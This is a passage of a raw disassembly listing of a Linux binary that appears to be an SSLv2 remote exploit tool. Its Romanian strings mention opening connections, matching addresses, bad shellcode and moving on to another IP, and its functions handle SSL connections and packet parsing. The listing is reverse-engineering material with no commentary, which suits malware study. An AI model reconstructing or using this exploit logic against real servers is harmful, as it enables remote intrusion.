(%eax,%edx,1) Possible reference to string: "%s Are Mai Multe Adrese Selectatzi Una Din Ele" 08049b63 push $0x804c180 08049b68 call 08048d8c <_init+0x1f8> 08049b6d add $0x10,%esp 08049b70 movl $0x0,0xffffffe8(%ebp) 08049b77 nop Referenced from jump at 08049bc6 ; 08049b78 mov 0xfffffff8(%ebp),%ecx 08049b7b mov 0xffffffe8(%ebp),%eax 08049b7e imul $0x4,%eax,%edx 08049b81 mov 0x10(%ecx),%eax 08049b84 cmpl $0x0,(%eax,%edx,1) 08049b88 jne 08049b94 08049b8a sub $0xc,%esp 08049b8d push $0x1 08049b8f call 08048dfc <_init+0x268> Referenced from jump at 08049b88 ; 08049b94 sub $0x8,%esp 08049b97 sub $0x4,%esp 08049b9a mov 0xfffffff8(%ebp),%ecx 08049b9d mov 0xffffffe8(%ebp),%eax 08049ba0 imul $0x4,%eax,%edx 08049ba3 mov 0x10(%ecx),%eax 08049ba6 pushl (%eax,%edx,1) 08049ba9 call 08048c7c <_init+0xe8> 08049bae add $0x8,%esp 08049bb1 mov %eax,%eax 08049bb3 push %eax Possible reference to string: "%s" 08049bb4 push $0x804bd16 08049bb9 call 08048d8c <_init+0x1f8> 08049bbe add $0x10,%esp 08049bc1 lea 0xffffffe8(%ebp),%eax 08049bc4 incl (%eax) 08049bc6 jmp 08049b78 Referenced from jump at 08049b50 ; 08049bc8 mov 0xfffffff8(%ebp),%eax 08049bcb mov 0x10(%eax),%eax 08049bce mov (%eax),%eax 08049bd0 mov (%eax),%eax 08049bd2 mov %eax,0xfffffff4(%ebp) 08049bd5 incl 0x804e4cc 08049bdb mov 0x804e4cc,%eax 08049be0 cmp 0x8(%ebp),%eax 08049be3 jge 08049bf5 08049be5 sub $0xc,%esp 08049be8 mov 0xc(%ebp),%eax 08049beb pushl (%eax) 08049bed call 080497d8 08049bf2 add $0x10,%esp Referenced from jump at 08049be3 ; 08049bf5 sub $0xc,%esp 08049bf8 push $0x31337 08049bfd call 08048dcc <_init+0x238> 08049c02 add $0x10,%esp 08049c05 cmpl $0x0,0x804e900 08049c0c je 08049c24 08049c0e sub $0x8,%esp 08049c11 pushl 0x804e900 Possible reference to string: " Deschid %d Conexiuni" 08049c17 push $0x804c1b0 08049c1c call 08048d8c <_init+0x1f8> 08049c21 add $0x10,%esp Referenced from jump at 08049c0c ; 08049c24 movl $0x0,0xffffffe8(%ebp) 08049c2b nop Referenced from jump at 08049c68 ; 08049c2c mov 0xffffffe8(%ebp),%eax 08049c2f cmp 0x804e900,%eax 08049c35 jl 08049c3c 08049c37 jmp 08049c6c 08049c39 lea 0x0(%esi),%esi Referenced from jump at 08049c35 ; 08049c3c sub $0x8,%esp 08049c3f pushl 0xfffffff0(%ebp) 08049c42 pushl 0xfffffff4(%ebp) 08049c45 call 08049fb8 08049c4a add $0x10,%esp 08049c4d mov %eax,%ecx 08049c4f mov 0xffffffe8(%ebp),%eax 08049c52 mov %eax,%eax 08049c54 lea 0x0(,%eax,4),%edx 08049c5b mov $0x804e500,%eax 08049c60 mov %ecx,(%edx,%eax,1) 08049c63 lea 0xffffffe8(%ebp),%eax 08049c66 incl (%eax) 08049c68 jmp 08049c2c 08049c6a mov %esi,%esi Referenced from jump at 08049c37 ; 08049eea ; 08049c6c sub $0xc,%esp Possible reference to string: " Stabilesc Conexiunea Ssl" 08049c6f push $0x804c1c7 08049c74 call 08048d8c <_init+0x1f8> 08049c79 add $0x10,%esp 08049c7c movl $0x0,0xffffffe8(%ebp) 08049c83 nop Referenced from jump at 08049cbb ; 08049c84 cmpl $0x3,0xffffffe8(%ebp) 08049c88 jle 08049c8c 08049c8a jmp 08049cc0 Referenced from jump at 08049c88 ; 08049c8c sub $0x4,%esp 08049c8f pushl 0xffffffec(%ebp) 08049c92 pushl 0xfffffff0(%ebp) 08049c95 pushl 0xfffffff4(%ebp) 08049c98 call 0804a074 08049c9d add $0x10,%esp 08049ca0 mov %eax,%ecx 08049ca2 mov 0xffffffe8(%ebp),%eax 08049ca5 mov %eax,%eax 08049ca7 lea 0x0(,%eax,4),%edx 08049cae mov $0x804e904,%eax 08049cb3 mov %ecx,(%edx,%eax,1) 08049cb6 lea 0xffffffe8(%ebp),%eax 08049cb9 incl (%eax) 08049cbb jmp 08049c84 08049cbd lea 0x0(%esi),%esi Referenced from jump at 08049c8a ; 08049cc0 sub $0xc,%esp Possible reference to string: ": Incercare De Deschidere..." 08049cc3 push $0x804c1e4 08049cc8 call 08048d8c <_init+0x1f8> 08049ccd add $0x10,%esp 08049cd0 movl $0x0,0xffffffe8(%ebp) 08049cd7 nop Referenced from jump at 08049d37 ; 08049cd8 cmpl $0x2,0xffffffe8(%ebp) 08049cdc jle 08049ce0 08049cde jmp 08049d3c Referenced from jump at 08049cdc ; 08049ce0 sub $0x8,%esp 08049ce3 mov 0xfffffffc(%ebp),%eax 08049ce6 pushl 0x4(%eax) 08049ce9 mov 0xffffffe8(%ebp),%eax 08049cec mov %eax,%eax 08049cee lea 0x0(,%eax,4),%edx 08049cf5 mov $0x804e904,%eax 08049cfa pushl (%edx,%eax,1) 08049cfd call 0804930c 08049d02 add $0x10,%esp 08049d05 sub $0x4,%esp 08049d08 mov 0xffffffe8(%ebp),%eax 08049d0b mov %eax,%eax 08049d0d lea 0x0(,%eax,4),%edx 08049d14 mov $0x804e904,%eax 08049d19 mov (%edx,%eax,1),%eax 08049d1c pushl 0x484(%eax) 08049d22 pushl 0xffffffe8(%ebp) Possible reference to string: " ssl%d : 0x%x" 08049d25 push $0x804c202 08049d2a call 08048d8c <_init+0x1f8> 08049d2f add $0x10,%esp 08049d32 lea 0xffffffe8(%ebp),%eax 08049d35 incl (%eax) 08049d37 jmp 08049cd8 08049d39 lea 0x0(%esi),%esi Referenced from jump at 08049cde ; 08049d3c sub $0xc,%esp Possible reference to string: "" 08049d3f push $0x804bfa0 08049d44 call 08048d8c <_init+0x1f8> 08049d49 add $0x10,%esp 08049d4c movl $0x1,0xffffffdc(%ebp) 08049d53 movl $0x1,0xffffffe8(%ebp) 08049d5a mov %esi,%esi Referenced from jump at 08049da5 ; 08049d5c cmpl $0x2,0xffffffe8(%ebp) 08049d60 jle 08049d64 08049d62 jmp 08049da8 Referenced from jump at 08049d60 ; 08049d64 mov 0xffffffe8(%ebp),%eax 08049d67 mov %eax,%eax 08049d69 shl $0x2,%eax 08049d6c lea 0xfffffffc(%eax),%edx 08049d6f mov $0x804e904,%eax 08049d74 mov (%edx,%eax,1),%ecx 08049d77 mov 0xffffffe8(%ebp),%eax 08049d7a mov %eax,%eax 08049d7c lea 0x0(,%eax,4),%edx 08049d83 mov $0x804e904,%eax 08049d88 mov (%edx,%eax,1),%edx 08049d8b mov 0x484(%ecx),%eax 08049d91 cmp 0x484(%edx),%eax 08049d97 je 08049da0 08049d99 movl $0x0,0xffffffdc(%ebp) Referenced from jump at 08049d97 ; 08049da0 lea 0xffffffe8(%ebp),%eax 08049da3 incl (%eax) 08049da5 jmp 08049d5c 08049da7 nop Referenced from jump at 08049d62 ; 08049da8 cmpl $0x0,0xffffffdc(%ebp) 08049dac jne 08049dc0 08049dae sub $0xc,%esp Possible reference to string: "* Adresele Nu Se Potrivesc." 08049db1 push $0x804c212 08049db6 call 08048d8c <_init+0x1f8> 08049dbb add $0x10,%esp 08049dbe jmp 08049e24 Referenced from jump at 08049dac ; 08049dc0 mov 0x804e904,%eax 08049dc5 pushl 0x484(%eax) 08049dcb mov 0x804e904,%eax 08049dd0 pushl 0x480(%eax) 08049dd6 pushl 0xfffffffc(%ebp) 08049dd9 pushl 0x804e910 08049ddf call 08049418 08049de4 add $0x10,%esp 08049de7 mov %eax,%eax 08049de9 test %eax,%eax 08049deb je 08049e08 08049ded sub $0xc,%esp Possible reference to string: "* Conexiune Inchisă." 08049df0 push $0x804c230 08049df5 call 08048d8c <_init+0x1f8> 08049dfa add $0x10,%esp 08049dfd sub $0xc,%esp 08049e00 push $0x0 08049e02 call 08048dfc <_init+0x268> 08049e07 nop Referenced from jump at 08049deb ; 08049e08 sub $0xc,%esp Possible reference to string: "* ShellCode Eronat." 08049e0b push $0x804c246 08049e10 call 08048d8c <_init+0x1f8> 08049e15 add $0x10,%esp 08049e18 sub $0xc,%esp 08049e1b push $0x0 08049e1d call 08048dfc <_init+0x268> 08049e22 mov %esi,%esi Referenced from jump at 08049dbe ; 08049e24 movl $0x0,0xffffffe8(%ebp) 08049e2b nop Referenced from jump at 08049e6f ; 08049e2c cmpl $0x3,0xffffffe8(%ebp) 08049e30 jle 08049e34 08049e32 jmp 08049e74 Referenced from jump at 08049e30 ; 08049e34 mov 0xffffffe8(%ebp),%eax 08049e37 mov %eax,%eax 08049e39 lea 0x0(,%eax,4),%edx 08049e40 mov $0x804e904,%eax 08049e45 cmpl $0x0,(%edx,%eax,1) 08049e49 je 08049e6a 08049e4b sub $0xc,%esp 08049e4e mov 0xffffffe8(%ebp),%eax 08049e51 mov %eax,%eax 08049e53 lea 0x0(,%eax,4),%edx 08049e5a mov $0x804e904,%eax 08049e5f pushl (%edx,%eax,1) 08049e62 call 0804a128 08049e67 add $0x10,%esp Referenced from jump at 08049e49 ; 08049e6a lea 0xffffffe8(%ebp),%eax 08049e6d incl (%eax) 08049e6f jmp 08049e2c 08049e71 lea 0x0(%esi),%esi Referenced from jump at 08049e32 ; 08049e74 cmpl $0x0,0x804e8fc 08049e7b jne 08049e88 08049e7d sub $0xc,%esp 08049e80 push $0x0 08049e82 call 08048dfc <_init+0x268> 08049e87 nop Referenced from jump at 08049e7b ; 08049e88 mov 0x804e900,%eax 08049e8d add $0xa,%eax 08049e90 cmp 0x804e8fc,%eax 08049e96 jle 08049eb4 08049e98 sub $0xc,%esp Possible reference to string: "Număr De Conexiuni Atins.Trecem La Alt IP." 08049e9b push $0x804c260 08049ea0 call 08048d8c <_init+0x1f8> 08049ea5 add $0x10,%esp 08049ea8 sub $0xc,%esp 08049eab push $0x0 08049ead call 08048dfc <_init+0x268> 08049eb2 mov %esi,%esi Referenced from jump at 08049e96 ; 08049eb4 sub $0xc,%esp 08049eb7 push $0x7a120 08049ebc call 08048bbc <_init+0x28> 08049ec1 add $0x10,%esp 08049ec4 sub $0x8,%esp 08049ec7 mov 0x804e900,%eax 08049ecc add $0xa,%eax 08049ecf push %eax Possible reference to string: ": Deschid %d Conexiuni" 08049ed0 push $0x804c28c 08049ed5 call 08048d8c <_init+0x1f8> 08049eda add $0x10,%esp 08049edd movl $0x0,0xffffffe8(%ebp) Referenced from jump at 08049f34 ; 08049ee4 cmpl $0x9,0xffffffe8(%ebp) 08049ee8 jle 08049ef0 08049eea jmp 08049c6c 08049eef nop Referenced from jump at 08049ee8 ; 08049ef0 sub $0x8,%esp 08049ef3 pushl 0xfffffff0(%ebp) 08049ef6 pushl 0xfffffff4(%ebp) 08049ef9 call 08049fb8 08049efe add $0x10,%esp 08049f01 mov %eax,%ecx 08049f03 mov 0x804e900,%eax 08049f08 mov %eax,%eax 08049f0a lea 0x0(,%eax,4),%edx 08049f11 mov $0x804e500,%eax 08049f16 mov %ecx,(%edx,%eax,1) 08049f19 incl 0x804e900 08049f1f sub $0xc,%esp 08049f22 push $0x2710 08049f27 call 08048bbc <_init+0x28> 08049f2c add $0x10,%esp 08049f2f lea 0xffffffe8(%ebp),%eax 08049f32 incl (%eax) 08049f34 jmp 08049ee4 08049f36 mov %esi,%esi ---- Function : get_local_port ---- Referenced from call at 0804943a ; 08049f38 push %ebp 08049f39 mov %esp,%ebp 08049f3b sub $0x28,%esp 08049f3e movl $0x10,0xffffffe4(%ebp) 08049f45 sub $0x4,%esp 08049f48 lea 0xffffffe4(%ebp),%eax 08049f4b push %eax 08049f4c lea 0xffffffe8(%ebp),%eax 08049f4f push %eax 08049f50 pushl 0x8(%ebp) 08049f53 call 08048dac <_init+0x218> 08049f58 add $0x10,%esp 08049f5b mov %eax,%eax 08049f5d test %eax,%eax 08049f5f jns 08049f9c 08049f61 sub $0x8,%esp 08049f64 sub $0x4,%esp 08049f67 sub $0x4,%esp 08049f6a call 08048c6c <_init+0xd8> 08049f6f add $0x4,%esp 08049f72 mov %eax,%eax 08049f74 mov %eax,%eax 08049f76 pushl (%eax) 08049f78 call 08048c3c <_init+0xa8> 08049f7d add $0x8,%esp 08049f80 mov %eax,%eax 08049f82 push %eax Possible reference to string: "Can't get local port: %s" 08049f83 push $0x804c3a0 08049f88 call 08048d8c <_init+0x1f8> 08049f8d add $0x10,%esp 08049f90 sub $0xc,%esp 08049f93 push $0x1 08049f95 call 08048dfc <_init+0x268> 08049f9a mov %esi,%esi Referenced from jump at 08049f5f ; 08049f9c movzwl 0xffffffea(%ebp),%eax 08049fa0 sub $0xc,%esp 08049fa3 push %eax 08049fa4 call 08048cfc <_init+0x168> 08049fa9 add $0x10,%esp 08049fac mov %eax,%eax 08049fae mov %eax,%eax 08049fb0 movzwl %ax,%eax 08049fb3 mov %eax,%eax 08049fb5 leave 08049fb6 ret 08049fb7 nop ---- Function : connect_host ---- Referenced from call at 08049c45 ; 08049ef9 ; 0804a112 ; 08049fb8 push %ebp 08049fb9 mov %esp,%ebp 08049fbb sub $0x28,%esp 08049fbe movw $0x2,0xffffffe8(%ebp) 08049fc4 mov 0x8(%ebp),%eax 08049fc7 mov %eax,0xffffffec(%ebp) 08049fca movzwl 0xc(%ebp),%eax 08049fce sub $0xc,%esp 08049fd1 push %eax 08049fd2 call 08048e4c <_init+0x2b8> 08049fd7 add $0x10,%esp 08049fda mov %eax,%eax 08049fdc mov %eax,%eax 08049fde mov %ax,0xffffffea(%ebp) 08049fe2 sub $0x4,%esp 08049fe5 push $0x0 08049fe7 push $0x1 08049fe9 push $0x2 08049feb call 08048e7c <_init+0x2e8> 08049ff0 add $0x10,%esp 08049ff3 mov %eax,%eax 08049ff5 mov %eax,0xffffffe4(%ebp) 08049ff8 cmpl $0x0,0xffffffe4(%ebp) 08049ffc jg 0804a018 08049ffe sub $0xc,%esp Possible reference to string: "Could not create a socket" 0804a001 push $0x804c3ba 0804a006 call 08048d8c <_init+0x1f8> 0804a00b add $0x10,%esp 0804a00e sub $0xc,%esp 0804a011 push $0x1 0804a013 call 08048dfc <_init+0x268> Referenced from jump at 08049ffc ; 0804a018 sub $0x4,%esp 0804a01b push $0x10 0804a01d lea 0xffffffe8(%ebp),%eax 0804a020 push %eax 0804a021 pushl 0xffffffe4(%ebp) 0804a024 call 08048e5c <_init+0x2c8> 0804a029 add $0x10,%esp 0804a02c mov %eax,%eax 0804a02e test %eax,%eax 0804a030 jns 0804a06c 0804a032 sub $0x8,%esp 0804a035 sub $0x4,%esp 0804a038 sub $0x4,%esp 0804a03b call 08048c6c <_init+0xd8> 0804a040 add $0x4,%esp 0804a043 mov %eax,%eax 0804a045 mov %eax,%eax 0804a047 pushl (%eax) 0804a049 call 08048c3c <_init+0xa8> 0804a04e add $0x8,%esp 0804a051 mov %eax,%eax 0804a053 push %eax Possible reference to string: "Connection failed: %s" 0804a054 push $0x804c3d5 0804a059 call 08048d8c <_init+0x1f8> 0804a05e add $0x10,%esp 0804a061 sub $0xc,%esp 0804a064 push $0x1 0804a066 call 08048dfc <_init+0x268> 0804a06b nop Referenced from jump at 0804a030 ; 0804a06c mov 0xffffffe4(%ebp),%eax 0804a06f mov %eax,%eax 0804a071 leave 0804a072 ret 0804a073 nop ---- Function : ssl_connect_host ---- Referenced from call at 08049c98 ; 0804a074 push %ebp 0804a075 mov %esp,%ebp 0804a077 sub $0x8,%esp 0804a07a cmpl $0x0,0x10(%ebp) 0804a07e je 0804a090 0804a080 sub $0xc,%esp Possible reference to string: " -> ssl_connect_host" 0804a083 push $0x804c3ec 0804a088 call 08048d8c <_init+0x1f8> 0804a08d add $0x10,%esp Referenced from jump at 0804a07e ; 0804a090 sub $0xc,%esp 0804a093 push $0x488 0804a098 call 08048c8c <_init+0xf8> 0804a09d add $0x10,%esp 0804a0a0 mov %eax,%eax 0804a0a2 mov %eax,0xfffffffc(%ebp) 0804a0a5 mov 0xfffffffc(%ebp),%eax 0804a0a8 test %eax,%eax 0804a0aa jne 0804a0c8 0804a0ac sub $0xc,%esp Possible reference to string: "Can't allocate memory" 0804a0af push $0x804c402 0804a0b4 call 08048d8c <_init+0x1f8> 0804a0b9 add $0x10,%esp 0804a0bc sub $0xc,%esp 0804a0bf push $0x1 0804a0c1 call 08048dfc <_init+0x268> 0804a0c6 mov %esi,%esi Referenced from jump at 0804a0aa ; 0804a0c8 mov 0xfffffffc(%ebp),%eax 0804a0cb movl $0x0,0x74(%eax) 0804a0d2 mov 0xfffffffc(%ebp),%eax 0804a0d5 movl $0x0,0x70(%eax) 0804a0dc mov 0xfffffffc(%ebp),%eax 0804a0df movl $0x0,0x6c(%eax) 0804a0e6 mov 0xfffffffc(%ebp),%edx 0804a0e9 mov 0x10(%ebp),%eax 0804a0ec mov %eax,0x78(%edx) 0804a0ef mov 0xfffffffc(%ebp),%eax 0804a0f2 movl $0x0,0x480(%eax) 0804a0fc mov 0xfffffffc(%ebp),%eax 0804a0ff movl $0x0,0x484(%eax) 0804a109 sub $0x8,%esp 0804a10c pushl 0xc(%ebp) 0804a10f pushl 0x8(%ebp) 0804a112 call 08049fb8 0804a117 add $0x10,%esp 0804a11a mov %eax,%edx 0804a11c mov 0xfffffffc(%ebp),%eax 0804a11f mov %edx,(%eax) 0804a121 mov 0xfffffffc(%ebp),%eax 0804a124 mov %eax,%eax 0804a126 leave 0804a127 ret ---- Function : ssl_close ---- Referenced from call at 0804975c ; 08049e62 ; 0804a128 push %ebp 0804a129 mov %esp,%ebp 0804a12b sub $0x8,%esp 0804a12e sub $0xc,%esp 0804a131 mov 0x8(%ebp),%eax 0804a134 pushl (%eax) 0804a136 call 08048c0c <_init+0x78> 0804a13b add $0x10,%esp 0804a13e sub $0xc,%esp 0804a141 pushl 0x8(%ebp) 0804a144 call 08048e2c <_init+0x298> 0804a149 add $0x10,%esp 0804a14c mov $0x0,%eax 0804a151 leave 0804a152 ret 0804a153 nop ---- Function : ssl_error ---- Referenced from call at 0804a44f ; 0804a529 ; 0804a154 push %ebp 0804a155 mov %esp,%ebp 0804a157 sub $0x8,%esp 0804a15a mov 0x8(%ebp),%eax 0804a15d movl $0x3,0x7c(%eax) 0804a164 cmpl $0x6,0xc(%ebp) 0804a168 ja 0804a20c 0804a16e mov 0xc(%ebp),%eax 0804a171 mov %eax,%eax 0804a173 shl $0x2,%eax 0804a176 mov 0x804c590(%eax),%eax 0804a17c jmp *%eax 0804a17e mov %esi,%esi 0804a180 sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_UNDEFINED_ERROR (0x00)" 0804a183 push $0x804c420 0804a188 mov 0x8(%ebp),%eax 0804a18b sub $0xffffff80,%eax 0804a18e push %eax 0804a18f call 08048e6c <_init+0x2d8> 0804a194 add $0x10,%esp 0804a197 jmp 0804a226 0804a19c sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_NO_CIPHER (0x01)" 0804a19f push $0x804c460 0804a1a4 mov 0x8(%ebp),%eax 0804a1a7 sub $0xffffff80,%eax 0804a1aa push %eax 0804a1ab call 08048e6c <_init+0x2d8> 0804a1b0 add $0x10,%esp 0804a1b3 jmp 0804a226 0804a1b5 lea 0x0(%esi),%esi 0804a1b8 sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_NO_CERTIFICATE (0x02)" 0804a1bb push $0x804c4a0 0804a1c0 mov 0x8(%ebp),%eax 0804a1c3 sub $0xffffff80,%eax 0804a1c6 push %eax 0804a1c7 call 08048e6c <_init+0x2d8> 0804a1cc add $0x10,%esp 0804a1cf jmp 0804a226 0804a1d1 lea 0x0(%esi),%esi 0804a1d4 sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_BAD_CERTIFICATE (0x03)" 0804a1d7 push $0x804c4e0 0804a1dc mov 0x8(%ebp),%eax 0804a1df sub $0xffffff80,%eax 0804a1e2 push %eax 0804a1e3 call 08048e6c <_init+0x2d8> 0804a1e8 add $0x10,%esp 0804a1eb jmp 0804a226 0804a1ed lea 0x0(%esi),%esi 0804a1f0 sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_UNSUPPORTED_CERTIFICATE_TYPE (0x06)" 0804a1f3 push $0x804c520 0804a1f8 mov 0x8(%ebp),%eax 0804a1fb sub $0xffffff80,%eax 0804a1fe push %eax 0804a1ff call 08048e6c <_init+0x2d8> 0804a204 add $0x10,%esp 0804a207 jmp 0804a226 0804a209 lea 0x0(%esi),%esi Referenced from jump at 0804a168 ; 0804a20c sub $0x4,%esp 0804a20f pushl 0xc(%ebp) Possible reference to string: "Unrecognized server error: 0x%02x" 0804a212 push $0x804c560 0804a217 mov 0x8(%ebp),%eax 0804a21a sub $0xffffff80,%eax 0804a21d push %eax 0804a21e call 08048e6c <_init+0x2d8> 0804a223 add $0x10,%esp Referenced from jump at 0804a197 ; 0804a1b3 ; 0804a1cf ; 0804a1eb ; 0804a207 ; 0804a226 mov $0x0,%eax 0804a22b leave 0804a22c ret 0804a22d lea 0x0(%esi),%esi ---- Function : read_data ---- Referenced from call at 0804a2cf ; 0804a343 ; 0804a3ce ; 0804a230 push %ebp 0804a231 mov %esp,%ebp 0804a233 sub $0x8,%esp 0804a236 mov 0x10(%ebp),%eax 0804a239 mov %eax,0xfffffff8(%ebp) Referenced from jump at 0804a2b0 ; 0804a23c sub $0x4,%esp 0804a23f pushl 0xfffffff8(%ebp) 0804a242 pushl 0xc(%ebp) 0804a245 pushl 0x8(%ebp) 0804a248 call 08048ebc <_init+0x328> 0804a24d add $0x10,%esp 0804a250 mov %eax,%eax 0804a252 mov %eax,0xfffffffc(%ebp) 0804a255 cmpl $0x0,0xfffffffc(%ebp) 0804a259 jns 0804a294 0804a25b sub $0x8,%esp 0804a25e sub $0x4,%esp 0804a261 sub $0x4,%esp 0804a264 call 08048c6c <_init+0xd8> 0804a269 add $0x4,%esp 0804a26c mov %eax,%eax 0804a26e mov %eax,%eax 0804a270 pushl (%eax) 0804a272 call 08048c3c <_init+0xa8> 0804a277 add $0x8,%esp 0804a27a mov %eax,%eax 0804a27c push %eax Possible reference to string: "Error in read: %s" 0804a27d push $0x804c5ac 0804a282 call 08048d8c <_init+0x1f8> 0804a287 add $0x10,%esp 0804a28a sub $0xc,%esp 0804a28d push $0x1 0804a28f call 08048dfc <_init+0x268> Referenced from jump at 0804a259 ; 0804a294 cmpl $0x0,0xfffffffc(%ebp) 0804a298 jne 0804a2a4 0804a29a mov $0x0,%eax 0804a29f jmp 0804a2b7 0804a2a1 lea 0x0(%esi),%esi Referenced from jump at 0804a298 ; 0804a2a4 mov 0xfffffffc(%ebp),%edx 0804a2a7 lea 0xfffffff8(%ebp),%eax 0804a2aa sub %edx,(%eax) 0804a2ac cmpl $0x0,0xfffffff8(%ebp) 0804a2b0 jg 0804a23c 0804a2b2 mov 0x10(%ebp),%eax 0804a2b5 mov %eax,%eax Referenced from jump at 0804a29f ; 0804a2b7 leave 0804a2b8 ret 0804a2b9 lea 0x0(%esi),%esi ---- Function : read_ssl_packet ---- Referenced from call at 0804a85f ; 0804b09f ; 0804b293 ; 0804b42b ; 0804a2bc push %ebp 0804a2bd mov %esp,%ebp 0804a2bf sub $0x8,%esp 0804a2c2 sub $0x4,%esp 0804a2c5 push $0x2 0804a2c7 pushl 0xc(%ebp) 0804a2ca mov 0x8(%ebp),%eax 0804a2cd pushl (%eax) 0804a2cf call 0804a230 0804a2d4 add $0x10,%esp 0804a2d7 mov %eax,%eax 0804a2d9 test %eax,%eax 0804a2db jne 0804a308 0804a2dd mov 0x8(%ebp),%eax 0804a2e0 movl $0x1,0x7c(%eax) 0804a2e7 sub $0x8,%esp Possible reference to string: "Connection unexpectedly closed" 0804a2ea push $0x804c5c0 0804a2ef mov 0x8(%ebp),%eax 0804a2f2 sub $0xffffff80,%eax 0804a2f5 push %eax 0804a2f6 call 08048e6c <_init+0x2d8> 0804a2fb add $0x10,%esp 0804a2fe mov $0x0,%eax 0804a303 jmp 0804a53d Referenced from jump at 0804a2db ; 0804a308 mov 0xc(%ebp),%eax 0804a30b mov (%eax),%al 0804a30d and $0x80,%eax 0804a312 test %al,%al 0804a314 jne 0804a35c 0804a316 mov 0xc(%ebp),%eax 0804a319 mov (%eax),%al 0804a31b and $0x3f,%eax 0804a31e movzbl %al,%eax 0804a321 mov %eax,%edx 0804a323 shl $0x8,%edx 0804a326 mov 0xc(%ebp),%eax 0804a329 inc %eax 0804a32a movzbl (%eax),%eax 0804a32d or %edx,%eax 0804a32f mov %eax,0xfffffffc(%ebp) 0804a332 sub $0x4,%esp 0804a335 push $0x1 0804a337 mov 0xc(%ebp),%eax 0804a33a add $0x2,%eax 0804a33d push %eax 0804a33e mov 0x8(%ebp),%eax 0804a341 pushl (%eax) 0804a343 call 0804a230 0804a348 add $0x10,%esp 0804a34b mov 0xc(%ebp),%eax 0804a34e add $0x2,%eax 0804a351 movzbl (%eax),%eax 0804a354 mov %eax,0xfffffff8(%ebp) 0804a357 jmp 0804a37f 0804a359 lea 0x0(%esi),%esi Referenced from jump at 0804a314 ; 0804a35c mov 0xc(%ebp),%eax 0804a35f mov (%eax),%al 0804a361 and $0x7f,%eax 0804a364 movzbl %al,%eax 0804a367 mov %eax,%edx 0804a369 shl $0x8,%edx 0804a36c mov 0xc(%ebp),%eax 0804a36f inc %eax 0804a370 movzbl (%eax),%eax 0804a373 or %edx,%eax 0804a375 mov %eax,0xfffffffc(%ebp) 0804a378 movl $0x0,0xfffffff8(%ebp) Referenced from jump at 0804a357 ; 0804a37f cmpl $0x0,0xfffffffc(%ebp) 0804a383 je 0804a390 0804a385 mov 0xfffffffc(%ebp),%eax 0804a388 cmp 0x10(%ebp),%eax 0804a38b jg 0804a390 0804a38d jmp 0804a3c0 0804a38f nop Referenced from jump at 0804a383 ; 0804a38b ; 0804a390 mov 0x8(%ebp),%eax 0804a393 movl $0x2,0x7c(%eax) 0804a39a sub $0x4,%esp 0804a39d pushl 0xfffffffc(%ebp) Possible reference to string: "read_ssl_packet: Record length out of range (rec_len = %d)" 0804a3a0 push $0x804c5e0 0804a3a5 mov 0x8(%ebp),%eax 0804a3a8 sub $0xffffff80,%eax 0804a3ab push %eax 0804a3ac call 08048e6c <_init+0x2d8> 0804a3b1 add $0x10,%esp 0804a3b4 mov $0x0,%eax 0804a3b9 jmp 0804a53d 0804a3be mov %esi,%esi Referenced from jump at 0804a38d ; 0804a3c0 sub $0x4,%esp 0804a3c3 pushl 0xfffffffc(%ebp) 0804a3c6 pushl 0xc(%ebp) 0804a3c9 mov 0x8(%ebp),%eax 0804a3cc pushl (%eax) 0804a3ce call 0804a230 0804a3d3 add $0x10,%esp 0804a3d6 mov %eax,%eax 0804a3d8 test %eax,%eax 0804a3da jne 0804a408 0804a3dc mov 0x8(%ebp),%eax 0804a3df movl $0x1,0x7c(%eax) 0804a3e6 sub $0x8,%esp Possible reference to string: "Connection unexpectedly closed" 0804a3e9 push $0x804c5c0 0804a3ee mov 0x8(%ebp),%eax 0804a3f1 sub $0xffffff80,%eax 0804a3f4 push %eax 0804a3f5 call 08048e6c <_init+0x2d8> 0804a3fa add $0x10,%esp 0804a3fd mov $0x0,%eax 0804a402 jmp 0804a53d 0804a407 nop Referenced from jump at 0804a3da ; 0804a408 mov 0x8(%ebp),%eax 0804a40b cmpl $0x0,0x74(%eax) 0804a40f je 0804a4d1 0804a415 mov 0xfffffff8(%ebp),%eax 0804a418 add $0x10,%eax 0804a41b cmp 0xfffffffc(%ebp),%eax 0804a41e jl 0804a494 0804a420 mov 0xc(%ebp),%eax 0804a423 cmpb $0x0,(%eax) 0804a426 jne 0804a464 0804a428 cmpl $0x3,0xfffffffc(%ebp) 0804a42c jne 0804a464 0804a42e sub $0x8,%esp 0804a431 mov 0xc(%ebp),%eax 0804a434 inc %eax 0804a435 movzwl (%eax),%eax 0804a438 sub $0x4,%esp 0804a43b push %eax 0804a43c call 08048cfc <_init+0x168> 0804a441 add $0x8,%esp 0804a444 mov %eax,%eax 0804a446 mov %eax,%eax 0804a448 movzwl %ax,%eax 0804a44b push %eax 0804a44c pushl 0x8(%ebp) 0804a44f call 0804a154 0804a454 add $0x10,%esp 0804a457 mov $0x0,%eax 0804a45c jmp 0804a53d 0804a461 lea 0x0(%esi),%esi Referenced from jump at 0804a426 ; 0804a42c ; 0804a464 mov 0x8(%ebp),%eax 0804a467 movl $0x2,0x7c(%eax) 0804a46e sub $0x4,%esp 0804a471 pushl 0xfffffffc(%ebp) Possible reference to string: "read_ssl_packet: Encrypted message is too short (rec_len = %d)" 0804a474 push $0x804c620 0804a479 mov 0x8(%ebp),%eax 0804a47c sub $0xffffff80,%eax 0804a47f push %eax 0804a480 call 08048e6c <_init+0x2d8> 0804a485 add $0x10,%esp 0804a488 mov $0x0,%eax 0804a48d jmp 0804a53d 0804a492 mov %esi,%esi Referenced from jump at 0804a41e ; 0804a494 pushl 0xc(%ebp) 0804a497 pushl 0xc(%ebp) 0804a49a pushl 0xfffffffc(%ebp) 0804a49d mov 0x8(%ebp),%eax 0804a4a0 pushl 0x64(%eax) 0804a4a3 call 08048cac <_init+0x118> 0804a4a8 add $0x10,%esp 0804a4ab mov 0xfffffff8(%ebp),%edx 0804a4ae mov 0xfffffffc(%ebp),%eax 0804a4b1 sub %edx,%eax 0804a4b3 sub $0x10,%eax 0804a4b6 mov %eax,0xfffffffc(%ebp) 0804a4b9 sub $0x4,%esp 0804a4bc pushl 0xfffffffc(%ebp) 0804a4bf mov 0xc(%ebp),%eax 0804a4c2 add $0x10,%eax 0804a4c5 push %eax 0804a4c6 pushl 0xc(%ebp) 0804a4c9 call 08048c9c <_init+0x108> 0804a4ce add $0x10,%esp Referenced from 